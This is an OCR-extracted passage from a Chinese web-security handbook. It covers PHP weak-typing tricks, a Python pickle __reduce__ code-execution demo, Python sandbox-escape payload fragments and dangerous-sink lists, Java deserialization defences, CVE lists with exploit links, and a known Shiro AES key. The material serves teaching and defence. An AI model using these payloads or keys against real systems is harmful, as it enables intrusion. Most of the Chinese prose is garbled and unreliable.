php FTHAE B BRI S A, 2N IEEE 754 XU MR, TR & 277 S8 L i
A HEL MBI FE > MG AR, Al php - "var_dump(0.2+0.7==0.9) ;" X{FAIL 14 H 2 bool (false)
MAE bool (true) . IXFFE—LLFH L T AT e H B0 ja) i .
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BEES)
BRG] == SRFIWAESE, D2 PR S R I i B — SeF50RE 2 ANIATA, FE AN magic hash, $524P01 md5 (B

2 0e[0-91{30} WM, LA NPHAS hash (HAHSE . 75 /MEHIWr ZAF R B ORHG:, PHP 2 B8l
HRIELA, B2 1=="1a.php" LR L2 true

F3SMEFIWT—2E hash I, WEREARZEEL, RIFMES NULL, PR ICAE IR 15 45305 R A Bl 4 s A e
I 7 BT R R

[FAER), stremp() ereg() strpos() iX 2EpRH7EALBRELH I Bt & 5%, &k [M] NULL,
HTHIT

preg_replace 55— 202/ /e BB, - ASHSH A EM ST

2]

PHP PAHAEEEIAT R, ATAEH] ereg / %00 / iconv &FSKEL php “FAFEIMTAYSEAE, A fil A i iF -

TEES

] excract | parse_str FHTEON, S php 10 $6 FEET, WA TR, T RO
PATOME R B

php #5i%

o php H BFEMRITIERIGEHME, WERSHAFEPAE” 7. 770 7 ZIUVDFR, SR AT T Rk
e HTFHHJEA, urlencode fil RFC3896 fF{F—E M AIE, PHP HA4MEML T rawurlencode X} RFC3896

SE AR E R SEEL
/tmp IR EES

phpinfo W[5, TPAEEI_EZRImI SCIFR#EAR, MIMSEEL LEL,

5.1.13 AL L£Hzh

8.0
o FAER HEFE TR RO SR EA S, AR R AT R
o NERSEON AR FET I L S T AN e 4
o assert N ZEHATAN
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7.2

7.1

7.0

4 create_function

% mb_ereg_replace ) Hifif e izt
Phar s f5 BT HEh A7 RUF 514k
parse_str WS ASE S

4 php://filter H ) string.strip_tags

RGBSR 25772k E. WARNING

create_function g #H

assert NHEE A AT RIBA

RN ABRHAEIREOL T B parse_str() 277/ E_ DEPRECATED %%

__autoload() #EIEFH

P P S R AR HE R S HOR R S A R R TN 2
TEARTERE BN G2 AN TR BTG 3

call_user_ func() AP SRR HERY ek £

mb_eregreplace() Fll mb_eregi replace() ) e Bzt HifFolE

ext/merypt #%KF

preg_replace "e” {EMifF=4: E_ WARNING % K5
BRI ext/mysql PR

FERIITA ext/mssql pREK

P call_user_method() 1 call_user_method_array()
foreach I~ Pk s N ER AL 4L H B

TEZ AL, —ANIER PR USRS A TOBECT, IR Ry ( 0128 Rruifibrh 012), BlAE
R\ AR 7 R AT A R

TN AT R A EOA N R AT
dl() £ PHP-FPM AR}, 7& CLI #l embed SAPIs H{/3u[ Ji]

B ASP Fil script PHP #R%5, Bl <% %> / <%= %> / <script language="php"> </script>

5.1.
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o TERE N R, PYERRACR & R
« SHTTP RAW POST DATA ¥if%

5.6

e« SHTTP RAW POST DATA #{% %

o WJi4E%E CURLOPT SAFE UPLOAD 4 FALSE A#ER(Hi ] Qfile $E3:3 F &30t

o preg_replace "e¢” 1= E_ DEPRECATED 45i%

o JK3F mysql_x RS REL

. RELHZ AR
. BlEAT S
o WHHESRT AL % B NOTICE Sliohis:

5.1.14 Tricks

o is_numeric HJEH AR, ASFIHN true

FARECEEIS, P~ Oe I3k ARG 7 2 I A A <5
PARLLLAIS , ARECT AP A5 PRI Y B & H B
stremp /ereg 2 BRAE M ASHEAUN AN A AT

5.1.15 &&5kHE

Bypass

e php open basedir bypass
e open basedir bypass

e Bypass Disable functions Shell
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https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
https://github.com/l3m0n/Bypass_Disable_functions_Shell
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Tricks

e php wrappers

o UFHIMbz PHP JEA R F]

o php fEE RN

o Surprising CTF task solution using php://filter

o M4 Webshell 52 k-5 /8

WebShell

e PHP htaccess inject

« php AL

o PHP WebShell ZFfE AR 45

o —BORE ST AIFEER webshell

o PHP Webshell HREE- T i

Phar

e US Black Hat 2018 Phar

o HIH phar #)# php 275 i i

e Phar 5 Stream Wrapper ¥ PHP RCE IR ASZ 9
iB1T

e Learning the PHP lifecycle

« PHP7 ZFHHT

Blog

e How we broke PHP

5.1. PHP
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https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf
http://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
https://gynvael.coldwind.pl/?id=671
https://mp.weixin.qq.com/s/ol70aVdvybzMJmtfxaAAZQ
https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet
https://blog.manchestergreyhats.co.uk/2018/11/07/php-malware-examination/
https://www.freebuf.com/articles/web/155891.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://mp.weixin.qq.com/s/FgzIm-IK02rjEf3JvxOxrw
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
http://www.phpinternalsbook.com/php7/extensions_design/php_lifecycle.html
https://github.com/pangudashu/php7-internal
https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/
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5.2 Python

5.2.1 X ILFHE

7E Python v, H A& TR L, 78 Python2 MEAA T, A FAFERER AN "this is
a %s" % "test" , ZJGHEINT format B, BN "this is a {}".format('test') B{F "this is
a {test}".format(test='test')

AR AAL AT P ARE, AT Sl 2, R AT R BT

>>> 'class of is ' . format (42)

"class of 42 is <class 'int'>"

M 1 B0 0 7 R, TR T AT DAJEs I format O AFER I, IUTTDAMEF __indc__ /
__globals__ S RHHIR S ILRURINL, HEEMERITA.

5.2.2 RSt

pickle demo

Python Pickle Y& JFFILI &AM __reduce__ , A HE XM __reduce__ rRHURELHIL

import pickle
import pickletools

import subprocess

class A(object):
a=1
b=2
def __reduce__(self):

return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A(Q))
pickletools.dis(data)

PR, ATPAMEZ find class RIRETEH, 2%

import builtins
import io

import pickle

safe_builtins = {

(T gk%E)
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(B bTT)

'range',
'complex',
'set',
'frozenset',

'slice',

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbtd everything else.
raise pickle.UnpicklingError("global 'J/s./s' is forbidden"

(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""

return RestrictedUnpickler(io.BytesIO(s)).load()

HiprFFILE

o marshal

o shelve

5.2.3 %8
TEREHN
o eval / exec / compile

o dir / type

o globals / locals / vars

getattr / setattr
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SFABHR

e import os

e from os import *
e __import__("os")
e importlib

e imp

e reload(os)

e execfile {{ Python2 F#F

e dir(__builtins__) #FF& P B
o AR B BGRFEC A R T import, NSRBI EL 2 import W] RAFI ] BAEIEREE T AREH] T

o FEAZEH TR AR, HE L payload /2 ().__class__.__bases__[0].__subclasses__() Bi#
ARG EFRRERYERE, __init__.__func__.__globals__

o HUERE A YR pickle B, AIPAGEA] pickle SEIATE AT, A2 payload AJPAMEF https:/
/gist.github.com/freddyb/3360650

o A HUPAEIEA KBTS AR ER T, WIRTPAREA libe B pRi%k, Python Hiffl i — ] RAfE
ctypes B(F cffi.

° llAIl IIBII P n ABII
B
Python F 745 T —LE BRI EY
o ffif Jython 223l Java V-5 K8 & F27 HIRLR
o [ fakeroot it
o i —2L rootjail fHA
5.2.4 }EZE
Django
iR

e CVE-2016-7401 CSRF Bypass
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https://paper.seebug.org/58/
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CVE-2017-7233/7234 Open redirect vulnerability

CVE-2017-12794 debug page XSS

BCEHEX

e Nginx 724 Django A ALBERy, B H R B RS SEPRSMEE . 157 /static.. 2 301

Flask

EmE| /static../

Flask ERIA(H % i session, f#ifF session n] PAREPh i

5.2.5 {¢15:R;

FRREEAX

BT AST A
N pye UM
Pyinstaller

PyArmor
i AES %N pye i

5.2.6 Sink

WLIIT

asyncio.new__event_ loop().subprocess__exec
asyncio.subprocess

bdb.os

cgi.os.system

cgi.sys

code.Interactivelnterpreter

commands

ctypes.CDLL

eval

exec

5.2.
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https://www.djangoproject.com/weblog/2017/apr/04/security-releases/
https://www.leavesongs.com/PENETRATION/django-debug-page-xss.html
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execfile

input // python2 only
0s.exec
os.exec*
os.fork
os.popen
0s.spawn
0s.system
platform.os
platform.popen
platform.sys
popen2

pty.os
pty.spawn
subprocess
timeit.sys

timeit.timeit

typing.get_ type hints() + __annotations__

HFZE

open

0s.open

urllib.request.urlopen(’file: ///*)

codecs.open
fileinput
¢ Python2

— types.FileType

174
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ERE=FHE

e Template

o subprocess32

RFEF3IHE

o marshal
o« PyYAML
e pickle

o cPickle
o shelve

o PIL

5.2.7 &

RF3It
« Python pickle [ZJ¥%4k,
e Python YPE'EJ7 wiki
« Python eval {7 ILAFIREN R KA Jt
e pickle Python %4 %511k
e Sour Pickles A serialised exploitation guide in one part

o How pickle works in Python

Mg

 Python Vb4 H Seit

o —3CFTE Python VD4HMki%
BRI FHFB

o Python F4F %Akl

e Be Careful with Python’s New-Style String Format

5.2. Python
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http://www.91ri.org/9576.html
https://wiki.python.org/moin/SandboxedPython
http://xxlegend.com/2015/07/31/Python%20eval的常见错误封装及利用原理/
https://docs.python.org/zh-cn/3/library/pickle.html
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://rushter.com/blog/pickle-serialization-internals/
https://www.anquanke.com/post/id/86366
https://www.freebuf.com/articles/system/203208.html
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/
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=E

e python security

o Python ZZ4FIA VI K TTRMTLR

5.3 Java

5.3.1 EXE=
JVM

JVM 2 Java *F-E 80, DAHLESAURRSCEL, AR AT AL T RrR M B A B A TIRE, BN i At e .
JIT ik, BOARICERS . T ER@VLasIESCInY, RS2 2 — 36 S22 r Btk

JCL 2 JVM B —MhrifEre, SAEANRGE. AR T, rA RakE e GEm, B3aa
HUEST)E

JDK

Java & T HAL (Java Development Kit, JDK) 4 Oracle A @Al Java ‘&, AIrE (Standard
Edition, Java SE). 1t (Enterprise Edition, Java EE) %4,

LRI, DK DA IR %A, TR4E 2006 4 11 H 17 1, Sun A GPL YL &7 T Java BB
i, TRZFHHT OpenIDK,

JMX

JMX(Java Management Extensions, Java P E) £—A N HARFEAEHIEERHESE, T3 8 M
FIMSARY AR . RGEXTGe . BRI Az 55 B 45 4R AR ) TR . IMX W] AR SE R L R L. IR
RGP HITR. 8 IMX RECE S ksl JDK A RAFAE SO ST, T BE & RO AU AT .

JNI

JNI (Java Native Interface) J& Java $2{LFIAIHAIE S BT,

JNA

JNA (Java Native Access) J&7F JNI FRUHEZE, FTF H3hEH Java 8210 %] native function BYBLES, AT
B MeE INI AR,
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https://github.com/vstinner/python-security.git
https://github.com/bit4woo/python_sec
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OGNL

OGNL(Object-Graph Navigation Language, XJZ®AiiEF) & —FHIaER K FRIEAIET, @t fiip—3%
MR EE:, UL THFBIRER B WAXSRN I, N R M E . SC BB AL
e .

Struts2 Fffi T OGNL, #HtT—4> ValueStack 2. ValueStack 434 root Fl context PEp4y. root F1i2
METH action %42, context 142 ActionContext HH A K NEA .

10 2%

Java X #RAE RGN F 1O BUPETT TEAE, T ARE APL

BIO

BIO (Blocking 1/0) 2 [FI2PHZE 1/O #i(, BABUE A0 L IEAE — 2R 47 R sE il

NIO

NIO (New I1/0) 2—FhFAEMHZER) 1/0 #8Y, F£ Java 1.4 5| A, X java.nio 1, #4t7T Channel ,
Selector, Buffer &:4h4 .

AlO

AIO (Asynchronous I/0) 7£ Java 7 15| A, /& NIO Wi, &4 ERLZER) 10 #5Y, H =R nliE
B SE

5

[F ]

Java FUSHLH R SR PIRESH, XSAEE 2K, ARREAEX 2R Br A JE A 5 SRR — %
%, HRRES TR EREE I AR X AP TRERE E LA K Sh & X G 07 IR I RERRR A T8 5 1 SR HIL
il o
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HxE
E/ A R
Class ERRIN
Field I B 53 7R o
Method eI
Constructor | ZERHE H¥E
Class g%

« asSubclass(Class<U> clazz)

— AL ZE X G AR TR R

Cast

— NGRSO B DR R

getClassLoader()
— PRI

getClasses()

— R[N, B IS T T A LA SRR 5

getDeclaredClasses()

— IRE—ANEL, B S R T JERIE  2E X R

forName(String className)

— MR IR B 2R A5
getName()

- PEENTREREAT
newlInstance()

— BRI
getPackage()

- ARG
getSimpleName()

- PFRENLHT

getSuperclass()

— AT HIZEAR A LR 4 7

178
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getInterfaces()
— PASUFRE IR KB N
getField(String name)
= RN DH IR
getFields()
- P AH B S
getDeclaredField(String name)
— PAREABIEXT 5
getDeclaredFields()
— PP B IEXT 5
getAnnotation(Class<A> annotationClass)
— R 5 SRR A AR 5
get Annotations()
— IR A A E 5
getDeclared Annotation(Class<A> annotationClass)
— RIAZE 5 SHEE B VTR R T R
getDeclared Annotations()
— R FA LA 5
getConstructor(Class...<?> parameterTypes)
— PAFELE S SHCEBITRC ) A A A 5V
getConstructors()
— PAFEEM P AW
getDeclaredConstructor(Class...<?> parameterTypes)
— PRI P S SRR LR R3S T
getDeclaredConstructors()
— PAFREIrA M ETT Ik
getMethod(String name, Class...<?> parameterTypes)
— PAFEISA DA T
getMethods()

— PAFREIH SHEITTE

5.3.
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» getDeclaredMethod(String name, Class...<?> parameterTypes)
— PAFRRKATE

o getDeclaredMethods()
— PAFEIETA T

« isAnnotation()

— WNSRREERZEAINR ] true

o isAnnotationPresent(Class<? extends Annotation> annotationClass)

— IR R E R ANR ] true

o isAnonymousClass()

— RERE AR A true

o isArray()
— GRS R A true

o isEnum()

— WM IR E] true

« isInstance(Object obj)

— R obj RARIEA SBR[ true

« isInterface()

— RS O ZENER [E] true
« isLocalClass()

— QAR R AR A true
o isMemberClass()

— R N EZENR A true

Field 8%

« equals(Object obj)

— J&YES obj HHSFEMR[E] true
. get(Object obj)

— 315 obj HXf VIR JEPEE
« set(Object obj, Object value)

— BE obj H R ME(E
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Method 3%

 invoke(Object obj, Object... args)
— f%i% object X5 S ZHH HIZAS G R Y 11k

Constructor

o newlnstance(Object... initargs)

— WGBS AR 5

5.3.2 %

£&EA™M
SEPORBL, Java WL @M MK (Loading) -> [ #H (Linking) : Y (Verification) -> i
(Perparation) -> fif#h (Resolutin) | -> #J4&4k (Initialization) -> f§ifi] (Using) -> ##; (Unloading) .
MBS R =2

o T A RRE S PRI SIS R

o PEFATRIT R SIS AL R KA T R 4

o TERFEPERMEXA RN java. lang. Class W5, 1ER 7 ERA MK FEHRI DA D
BERT B E B TR Class SCEFI S RAT G 4 1l LI 2K, 43 L
FIWr g0 A PA 0xCAFEBABE TR, FE WA S 2 G TEAL L A
o JUEELIE
FATH I IR

o B IR

5.3.3 B EITRBS A

o -Xverify:none 3 FIZEhNEE I BEIEFE B

5.3.4 {EZE

Servlet
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[CF1

Servlet(Server Applet) j& Java Servlet FfRIFR, FCOA/IMRSFETEURS R, 2 M Java 5 MRS A
Ry, EEYREE T m U S s sl dE, RS Web N%F.

XK Servlet Jgdig Java IEFH LA ED, )7 XY Serviet J2 LS 7TIX A Serviet # O, —
MO . AT Serviet BRARNIGF . Serviet szfTF 30 Java BN RS & . MJRELEJE, Servlet nf
PAWA R ARG K, (HERZHUFOLT Serviet HAIRY JET HTTP Pl Web k5545

SHEMA

o K miEKi% Servlet

Tz Servlet 2% 7T

SLBIII A init() TriEMIAR K% Serviet
service() (H4R R /7R F T doGet () / doPost() / ... / destroy()

O

init )

1 Servlet FAArA, AT init() J¥k, TEARFSAREA Serviet BT,
service()

service() J7¥ER Servlet % 0r. B4 — & P Rk— HttpServlet X5, Z4HRH service () L
B, T HAZ BB LA X AN A 13K (ServietRequest) XF 4 FI—A>" Wi J.” (ServletResponse) X4 /EH
%%&o

Struts 2

&

Struts2 @& — AT MVC 5t Web N HHES, B EA Y4 T4 servlet, 7£ MVC i+,
Struts2 fERFEIEE (Controller) S B/ 5 4L & 1A 2 .

KRR

o R AT R tomeat R 55ER
o RGN —RYPEL
o FilterDispatcher ##f] ActionMapper 4t E XM 275 2L1J8 51 Action

o ActionMppaer J:E I HHAS ActionFilterDispatcher 3%k 45 ActionProxy
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o ActionProxy ji;f Configuration Manager 2% structs.xml, FRF|XIR ) Action 2
o ActionProxy fiJ###—{~ ActionInvocation X}%
o ActionInvocation X4 [n]1f Action [ execute J5i%

o Action $fT58 58 )5 , ActionInvocation AR HEIR 0] (458 , $- 2AH B result , i1 HttpServletResponse
R 25 IR 55 7%

#H< CVE

« CVE-2016-3081 (S2-032)
« CVE-2016-3687 (S2-033)
« CVE-2016-4438 (S2-037)
« CVE-2017-5638

« CVE-2017-7672

« CVE-2017-9787

« CVE-2017-9793

« CVE-2017-9804

« CVE-2017-9805

« CVE-2017-12611

« CVE-2017-15707

« CVE-2018-1327

« CVE-2018-11776

Spring

[h1

Spring —f§4R#) 2 Spring Framework, —MEhg) Java W HREFIFIRHESE, $6t 76 5 BT 407 2

Spring MVC

Spring MVC 4 Spring Mk TTH MVC HELE, FEFAFIF K Web W, fAifbIF k.

Spring Boot

Spring FEHfEH 2 W17 BN B, HELFEft T Spring Boot {124 HELECE TR, MR H IS =R .
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https://github.com/immunio/apache-struts2-CVE-2017-5638
https://github.com/mazen160/struts-pwn_CVE-2017-9805
https://github.com/brianwrf/S2-053-CVE-2017-12611
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KRR

ilab-s-SEpeyiE s

M55 #suscEGeK, ] DispatchServiet 4b#

Dispatch {fiffl HandleMapping 525 url ;275 AXf % Controller, 41AAE, AT
o MR Controller J& [ FAFER, ViewResolver 45 Ha i U W A LI 0 52

« DispatchServlet JFHLEIX G 8o, 4 i 25 k55 7

e 95w Rt 25 % 7 i

CVE %

« CVE-2018-1270
— Spring Websocket A=A AT w1
— Spring Framework 5.0 - 5.0.5
— Spring Framework 4.3 - 4.3.15

« CVE-2018-1273

Spring Data JEA2 LS AT i1l

Spring Data Commons 1.13 - 1.13.10

Spring Data Commons 2.0 - 2.0.5

Spring Data REST 2.6 - 2.6.10

— Spring Data REST 3.0 - 3.0.5
« CVE-2017-8046

— Spring Data REST gt Cig 47
e CVE-2017-4971

— Spring Web Flow iR (I H 4TI

Shiro

[F]y

Apache Shiro @2—/PIIEEM A Ho) THINK) Java ZAMELE, IIREMIAE S HIIE, AL, MEMSIEEH,
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CVE ##%

CVE-2020-13933

— Apache Shiro < 1.6.0

— BBk Sesd il
CVE-2020-11989

— SHIRO-782

— Apache Shiro < 1.5.3

— S EIESEd I
CVE-2020-1957

— SHIRO-682

— Apache Shiro < 1.5.2

— SRk Sed ik
CVE-2019-12422

— SHIRO-721

— Apache Shiro < 1.4.2

— Padding Oracle Attack JCFECHEIAT IR
CVE-2016-4437

— SHIRO-550

— Apache Shiro <= 1.24

— P AR AR A TR R
CVE-2014-0074

— SHIRO-460

— Apache Shiro < 1.2.3

— SRk sEd il

CVE-2020-13933

Apache Shiro 1.6.0 Z R4, i Shiro ##dt5 requestURL fYPLRCHIAR S Web HEZE #4451 PLIC
TRRA 225, YahE MR http 3K, ATPAGERS Shiro (IAIE, REZRUT MR

5.3.
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CVE-2020-11989

Apache Shiro 1.5.3 ZHiHYMRA, T Shiro #2##%5 requestURL AYILRACHIAE 5 Web HESL R F2 A IL T
WREA 225, Boli B — MR http 355K, ATPASEE Shivo BIAIE, REALDT FIBURERAS . B AL
PR 755

CVE-2020-1957

Apache Shiro 1.5.2 Z R4, i Shiro ##ids5 requestURL FYPLRCHIAR S Web HEZE 4R 45 ) PLC
TiREA 225, BahE MR http 3K, ATPASERS Shiro HIAIE, RERT MR

CVE-2019-12422

Apache Shiro 1.4.2 2 HiHJ A BRIAfE JT] AES/CBC/PKCS5Padding #1285, 7 /& RememberMe I HEf Shiro
PR I AR M PR S LB, @it Padding Oracle Attack JEATAERY, EIETERMARII 0T,
W AT ALE H AR 525 EHATIEE .

CVE-2016-4437

Apache Shiro 1.2.5 Z HIHJRALE org.apache.shiro.mgt.AbstractRememberMeManager 7L AES BRiA
FM4H kPH+bIxk5D2deZilxcaaah== , ) RememberMe BJREMY Shiro {44 foif ve R ¥ v e Ak Bk
5, TEBPRIRSG 4 L HATIER A .

5.3.5 Fgs

LW Java iR552848 Tomcat, Weblogic, JBoss, GlassFish, Jetty. Resin. IBM Websphere 4§, X X
R HESA — AT B DL ]

Tomcat
Tomcat j&— RGN 4, £/ NURGENGFZTIH P ARRZH & TR/, T
FH L ISP R
FENENH R, Tomcat (RANBRRAEANT -
o B/umyii] Web g5, Ak HTTP 3K
Web [ 55 8B KT, 1218 4T Serviet g%
o Servlet Z#ZFM# Serviet, =4k Servet SEBilJ5, [ HAL 28RN SKFIME X 52
o Servlet SEBIfTERIFGAFEN S Fum i im R G 8, SRS IEATHI A Ak 2
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o Servlet SIRFAL S, A 1k g B 06 52 K W1 B P, 2K SR SRR Y TE AR Y, [R] spRe g R [ 2
Web H 5545

Tomeat 45442 — RIITTRLELIO AL AFHI Y, HorhBob 41 fH Catalina Serviet 24, &R FTA 1A
Tomcat ZH A THJZ 254 o

#83x CVE

e CVE-2020-1938

— https://www.freebuf.com/vuls/228108.html
« CVE-2019-0232

SRR

— https://github.com/pyn3rd/CVE-2019-0232/
« CVE-2017-12615

- LEXMEHA

— https://mp.weixin.qq.com/s?  biz=MzIINDgdMTIxMw==&mid=2247483659&idx=1&
sn=c23b3a3b3b43d70999bdbe644e79f7eb

« CVE-2013-2067
o CVE-2012-4534
o CVE-2012-4431
« CVE-2012-3546
o CVE-2012-3544
o CVE-2012-2733
« CVE-2011-3375
o CVE-2011-3190

o CVE-2008-2938

Weblogic

[Ch1

WebLogic s23[E Oracle /A& H i fli— Application Server, @—/NET Java EE Z2#) 1 Fh a4, WebLogic
AT K. £l MEMEFHAB A Web N EE R FUESE NP Java VRS 48 HAF
Java HZNZSTIEER Java Enterprise ARiER)L MG I ARBIM G N HITF & S, HEMEEZ Y.

WebLogic Xl N 2 MiniE i 41 4, 46 EJB. JSP. Servlet, JMS, JDBC 4,
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#H8>x< CVE

CVE-2019-2725
— wls-wsat PA LIRS AT
CVE-2019-2658
CVE-2019-2650
CVE-2019-2649
CVE-2019-2648
CVE-2019-2647
CVE-2019-2646
CVE-2019-2645
CVE-2019-2618
— https://github.com/jas502n/cve-2019-2618/
CVE-2019-2615
CVE-2019-2568
CVE-2018-3252
CVE-2018-3248
CVE-2018-3245
CVE-2018-3201
CVE-2018-3197
CVE-2018-3191
— https://github.com/voidfyoo/CVE-2018-3191
— https://github.com/Libragghbond /CVE-2018-3191
CVE-2018-2894
— AR AR
— https://xz.aliyun.com/t/2458
CVE-2018-2893
- TSI
— https://www.freebuf.com/vuls/178105.html
CVE-2018-2628

— https://mp.weixin.qq.com/s/nYY4zg2m2xsqTOGXa9pMGA
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¢ CVE-2018-1258
« CVE-2017-10271
— XMULDecoder &JF44 IR

— http://webcache.googleusercontent.com/search?q=cache%3AsH7j8TF8uOIJ%3Awww.
freebuf.com%2Fvuls%2F160367.html

o CVE-2017-3248
« CVE-2016-3510
« CVE-2015-4852

— https://github.com/roo7break /serialator

JBoss j2— 4T J2EE [ H EJB MRS AR 4%, 2 JBoss LRSS A G SRS servlet/JSP () WEB
Kag, —k5 Tomcat BY Jetty Z5:E i .

% CVE

« CVE-2017-12149
- RFHI AL
— Vil /invoker/readonly , BUHIAFAERIA S ¥ 5L

Jetty
e

Jetty B—TIFEN serviet 4% .

5.3.6 738

[Ch1

Java ST —EVPAEIAGE, AR RO AR AT U R RELE 2 FRAGERSE R 3047
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#H3x CVE

CVE-2012-0507

CVE-2012-4681

o CVE-2017-3272

o CVE-2017-3289

5.3.7 mFF3IL
&

JEHME SR RAERT R U, S TERAEAE AR SO BT RIPHMERI SRR, 1 il S
5 — M T AR A AT 2R X G A% i R R R A . AT S B B I s A A R E A .
Java H1f) ObjectOutputStream Jiff) writeObject () H¥ER PASLBLFSI4k, 2& ObjectInputStream JE[1
readObject O F{EH T FIIME . QIR ESLIRE FH1E, WHEXT LI Serializable $M,

YRR AR 55 e A W AR A B H 0 AT SR S A L2 BT ERSSE PR A TR 2RI, A A A S S A el -

FroIs RS

Oxaced AL / STREAM_MAGIC

0x0005 JiiAS / STREAM_VERSION / 2% java.io.ObjectStreamConstants
0x73 X ZRAFRH

. 0x72 SRR

FFIlft iR

o ObjectOutputStream SEBIFTEGALET, FFEARSLFIAS B A bout (BlockDataOutputStream ZE#l)
o M ObjectOutputStream.writeObject() JFifT% % Hdh

— ObjectStreamClass.lookup() # 3 AFFHILHIZAEIA (IR [H] ObjectStreamClass 25%4) | RHL
WIEHL . HE X serialVersionUID, 1] F5{k7E: (3&[8] ObjectStreamField Z8%) FiH4 1
ik, PAM writeObject, readObject J¥E%%

— writeOrdinaryObject() 5 A RE
* B AXR IR
* writeClassDesc() #EA %% writeNonProxyDesc() 55 A Jhilih %
- B AEHRFRR

- HARA

190 Chapter 5. EE 5%



Web-Sec Documentation, &% 1.0

- A SUID (34 SUID A%, Sibfrit@tmiy)
- WEIFH AP B ARG L
- BATBUE AR
- B A Block Data Z5HFEIH
- BRI
* writeSerialData() 5 A RSB

- HREZEXT writeObject(), WA ZITES RS, WA defaultWriteFields()
BAMNE T B (BRI inal, WHEBIHAAREFX4)

RFIHtTHE

+ ObjectInputStream SLHIPIMAET, BEEUBEARCFIRAS HEA T
« )il ObjectInputStream.readObject() FFUGi% 5B
— B KR
— readOrdinaryObject() BB x5
* readClassDesc() RGBSR
© RHCEHATFARN, #F A5 3L readNonProxyDesc()
OB
- {HL SUID
- PO RT AL B ARG AL
- B B R AR

- resolveClass() MIPEIEMIRIEE TP LI I Class X4, QSRR I, W)
i ClassNotFoundException

- skipCustomData() JEM T H F| Block Data £5HARHA IE
B IR B

- initNonProxy() HHIWixl5 54X 41 SUID fI2k4 (RE4) 2E M,
ZORTE, N InvalidClassException

* ObjectStreamClass.newInstance() FREFIH B S i rydE Serializable [1)42 2
HYF B MR v (BARTFAE, TR null) B4 9 )

* readSerialData() B S 514L 5 B

- HRHENT readObject(), WM ZIEEEXT R, BTN defaultRead-
Fields() SHOHEFON R 7 B
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imEF A
FRMAR

« JDBC J¥5ifk
« JSON JF5ife

FHEBRMEE

e com.mchange:c3p0 0.9.5.2

e com.mchange:mchange-commons-java 0.2.11
e commons-beanutils 1.9.2

e commons-collections 3.1

e commons-fileupload 1.3.1

e commons-io 2.4

e commons-logging 1.2

e org.apache.commons:commons-collections 4.0
e org.beanshell:bsh 2.0b5

e org.codehaus.groovy:groovy 2.3.9

e org.slf4j:slfdj-api 1.7.21

e org.springframework:spring-aop 4.1.4.RELEASE

EEHX

o IR R ]
o SERLHLHE SR
o @it OOB [a] &

o HI G

iRE e S F0p5iF

Hook resolveClass

TEff ] readObject O KUFHIMLET A resolveClass JyAURFHIMLNZE 4, W AT hook %7
R FIMIZE, —4 Demo 41F
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@0verride
protected Class<?> resolveClass(0ObjectStreamClass desc) throws IOException,
—ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName()) ;
3

return super.resolveClass(desc);

PA_E Demo g R e 1F)7 54k SerialObject , XAy =, Bn DARE AVFFIMLIIAAH, KB 1kx
FEA AT B A o SerialKiller/Jackson/Weblogic S&S (] 13X F oy =R i .

ValidatingObjectInputStream

Apache Commons IO Serialization fHf/] ValidatingObjectInputStream 2L T accept Jik, W PAHE
RSB RT I ) B4 BT, —A> demo IR

private static Object deserialize(byte[] buffer) throws IOException,,
—ClassNotFoundException , ConfigurationException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
ois.accept(SerialObject.class);
obj = ois.readObject();

return obj;

ObjectInputFilter(JEP290)

Java 9 4L T S AL B IR 0 B, M PAZEK java.io.ObjectInputFilter Z8E’E checkInput
FiVERSEI E E i Ess, i ObjectInputStream XF4 1K setObjectInputFilter & B I ESEk L
WRFIE E / BB4 sdesthl . X AL B 2 Java 9 B—NEEeE, (HRREE 2SR i m R it
ZIGRALE], 4B JIDK 6,7,8 $EFT T SCRE. X AL S A TR L -

o PRAADIRBISFIRIIBLS], F4 REE R R

o PR BT I TR RN AL

o O RMI A i iR G fit 7 — b 2L

o EM—AATECEAEIEVLE], HATRT DAL BCE properties SUPFRIIE AR E SO I
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5.3.8 RMI

&g

RMI(Remote Method Invocation, IEAEJ VM) REMSIETER i Java MERIAL LAYXT GBI I A0 R —
FE S5 o Java ESSLHEORTG ERYDT AR Hod RMI ARHESCHE Java RMI, Z4hfA Weblogic RMI,
Spring RMI 28 AN [ i1 52 3L«

RMI 1 B4 8 B (1 9 % A5 42 Stub 1 Skeleton, Stub il Skeleton Xiffrl—% 2 47528, HA Stub i
Client BVEH, HAMITEIEMSZH, M2F0 Server {5, Skeleton 2 Server 3, WENFsEE Stub [19i%
e, MRAE Stub Ak mEHEE T E I EAE.

HARSR

(E3L])

&R % s B g Stub _ERYITIA
F PRI R Stub STRPAMMGE (R, Tk4), @il WA KR R Bt 4R Skeleton

e 55 sl D%t ¢ Skeleton 555 7 sl A R A2 RS EAREL, 3R BEIERER A7 iR A SZ 515 B
TERT G

P EIEIRSS X4 LR EIET L, HRFEEARR 0] 45 I 55 b B A 5. Skeleton
55 A BO G ARAT 0, KA SRR P A B 4 Stub

B IR SRR MER L, IR TR

BRI [l

